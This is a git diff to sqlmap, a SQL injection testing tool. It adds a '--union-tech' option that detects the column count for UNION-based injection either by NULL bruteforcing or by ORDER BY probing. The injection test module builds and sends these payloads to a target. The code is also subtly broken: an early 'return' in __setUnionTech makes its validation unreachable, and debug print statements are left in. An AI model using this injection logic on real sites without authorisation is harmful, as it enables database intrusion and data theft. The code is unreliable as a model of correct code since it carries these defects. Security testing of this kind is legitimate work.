diff --git a/doc/ChangeLog b/doc/ChangeLog index 463543992..e93edf120 100644 --- a/doc/ChangeLog +++ b/doc/ChangeLog @@ -1,13 +1,18 @@ sqlmap (0.6.4-1) stable; urgency=low - * Major improvement to the comparison algorithm to make it work also if - the page content changes at each refresh; (work in progress) + * Major enhancement to make the comparison algorithm work properly also + on url not stables automatically by using the difflib Sequence Matcher + object; * Major enhancement to support SQL data definition statements, SQL data manipulation statements, etc from user in SQL query and SQL shell if stacked queries are supported by the web application technology in use; * Minor enhancement to support an option (--is-dba) to show if the current user is a database management system administrator; + * Minor enhancement to support an option (--union-tech) to specify the + technique to use to detect the number of columns used in the web + application SELECT statement: NULL bruteforcing (default) or ORDER BY + clause; * Added support internally to forge CASE statements, used only by --is-dba query at the moment; * Major bug fix to avoid tracebacks when multiple targets are specified diff --git a/lib/core/option.py b/lib/core/option.py index 6234334b0..fc50eae51 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -239,6 +239,25 @@ def __setGoogleDorking(): raise sqlmapGenericException, errMsg +def __setUnionTech(): + if not conf.uTech: + conf.uTech = "bf" + + return + + if conf.uTech and conf.uTech not in ( "bf", "ob" ): + infoMsg = "resetting the UNION query detection technique to " + infoMsg += "'bf', '%s' is not a valid technique" % conf.uTech + logger.info(infoMsg) + + conf.uTech = "bf" + + else: + debugMsg = "setting UNION query detection technique to " + debugMsg += "'%s'" % conf.uTech + logger.debug(debugMsg) + + def __setDBMS(): """ Force the back-end DBMS option. @@ -741,6 +760,7 @@ def init(inputOptions=advancedDict()): __setHTTPProxy() __setThreads() __setDBMS() + __setUnionTech() __setGoogleDorking() __setMultipleTargets() __urllib2Opener() diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index 7583b9d4b..b7f92d4a5 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -63,6 +63,7 @@ optDict = { "stackedTest": "boolean", "timeTest": "boolean", "unionTest": "boolean", + "uTech": "string", "unionUse": "boolean", }, diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index c89180de5..8f90335ca 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -169,6 +169,9 @@ def cmdLineParser(): action="store_true", help="Test for UNION query (inband) SQL injection") + techniques.add_option("--union-tech", dest="uTech", + help="Technique to test for UNION query SQL injection") + techniques.add_option("--union-use", dest="unionUse", action="store_true", help="Use the UNION query (inband) SQL injection " diff --git a/lib/techniques/inband/union/test.py b/lib/techniques/inband/union/test.py index 3ef577b7f..a9a2ba175 100644 --- a/lib/techniques/inband/union/test.py +++ b/lib/techniques/inband/union/test.py @@ -33,14 +33,34 @@ from lib.core.session import setUnion from lib.request.connect import Connect as Request -def __effectiveUnionTest(query, comment): +def __forgeUserFriendlyValue(payload): + value = "" + + if kb.injPlace == "GET": + value = "%s?%s" % (conf.url, payload) + elif kb.injPlace == "POST": + value = "URL:\t'%s'" % conf.url + value += "\nPOST:\t'%s'\n" % payload + elif kb.injPlace == "Cookie": + value = "URL:\t'%s'" % conf.url + value += "\nCookie:\t'%s'\n" % payload + elif kb.injPlace == "User-Agent": + value = "URL:\t\t'%s'" % conf.url + value += "\nUser-Agent:\t'%s'\n" % payload + + return value + + +def __unionTestByNULLBruteforce(comment): """ This method tests if the target url is affected by an inband SQL injection vulnerability. The test is done up to 50 columns on the target database table """ - resultDict = {} + columns = None + value = None + query = agent.prefixQuery(" UNION ALL SELECT NULL") for count in range(0, 50): if kb.dbms == "Oracle" and query.endswith(" FROM DUAL"): @@ -53,32 +73,38 @@ def __effectiveUnionTest(query, comment): query += " FROM DUAL" commentedQuery = agent.postfixQuery(query, comment) - payload = agent.payload(newValue=commentedQuery) - newResult = Request.queryPage(payload, getSeqMatcher=True) + payload = agent.payload(newValue=commentedQuery) + seqMatcher = Request.queryPage(payload, getSeqMatcher=True) - if not newResult in resultDict.keys(): - resultDict[newResult] = (1, commentedQuery) - else: - resultDict[newResult] = (resultDict[newResult][0] + 1, commentedQuery) + if seqMatcher >= 0.6: + columns = count + 1 + value = __forgeUserFriendlyValue(payload) - if count > 3: - for ratio, element in resultDict.items(): - if element[0] == 1 and ratio > 0.5: - if kb.injPlace == "GET": - value = "%s?%s" % (conf.url, element[1]) - elif kb.injPlace == "POST": - value = "URL:\t'%s'" % conf.url - value += "\nPOST:\t'%s'\n" % element[1] - elif kb.injPlace == "Cookie": - value = "URL:\t'%s'" % conf.url - value += "\nCookie:\t'%s'\n" % element[1] - elif kb.injPlace == "User-Agent": - value = "URL:\t\t'%s'" % conf.url - value += "\nUser-Agent:\t'%s'\n" % element[1] + break - return value + return value, columns - return None + +def __unionTestByOrderBy(comment): + columns = None + value = None + + for count in range(1, 51): + query = agent.prefixQuery(" ORDER BY %d" % count) + orderByQuery = agent.postfixQuery(query, comment) + payload = agent.payload(newValue=orderByQuery) + seqMatcher = Request.queryPage(payload, getSeqMatcher=True) + + if seqMatcher >= 0.6: + columns = count + elif columns: + value = __forgeUserFriendlyValue(prevPayload) + + break + + prevPayload = payload + + return value, columns def unionTest(): @@ -87,19 +113,29 @@ def unionTest(): SQL injection vulnerability. The test is done up to 3*50 times """ + if conf.uTech == "ob": + technique = "ORDER BY clause" + else: + technique = "NULL bruteforcing" + logMsg = "testing inband sql injection on parameter " - logMsg += "'%s'" % kb.injParameter + logMsg += "'%s' with %s technique" % (kb.injParameter, technique) logger.info(logMsg) - value = "" - - query = agent.prefixQuery(" UNION ALL SELECT NULL") + value = "" + columns = None for comment in (queries[kb.dbms].comment, ""): - value = __effectiveUnionTest(query, comment) + if conf.uTech == "ob": + value, columns = __unionTestByOrderBy(comment) + else: + value, columns = __unionTestByNULLBruteforce(comment) - if value: - setUnion(comment, value.count("NULL")) + print value + print columns + + if columns: + setUnion(comment, columns) break diff --git a/sqlmap.conf b/sqlmap.conf index 9b350dd0f..22842cbb9 100644 --- a/sqlmap.conf +++ b/sqlmap.conf @@ -142,6 +142,13 @@ timeTest = False # Valid: True or False unionTest = False +# Technique to test for UNION query SQL injection +# The possible techniques are by NULL bruteforcing (bf) or by ORDER BY +# clause (ob) +# Valid: bf, ob +# Default: bf +uTech = bf + # Use the UNION query (inband) SQL injection to retrieve the queries # output. No need to go blind. # Valid: True or False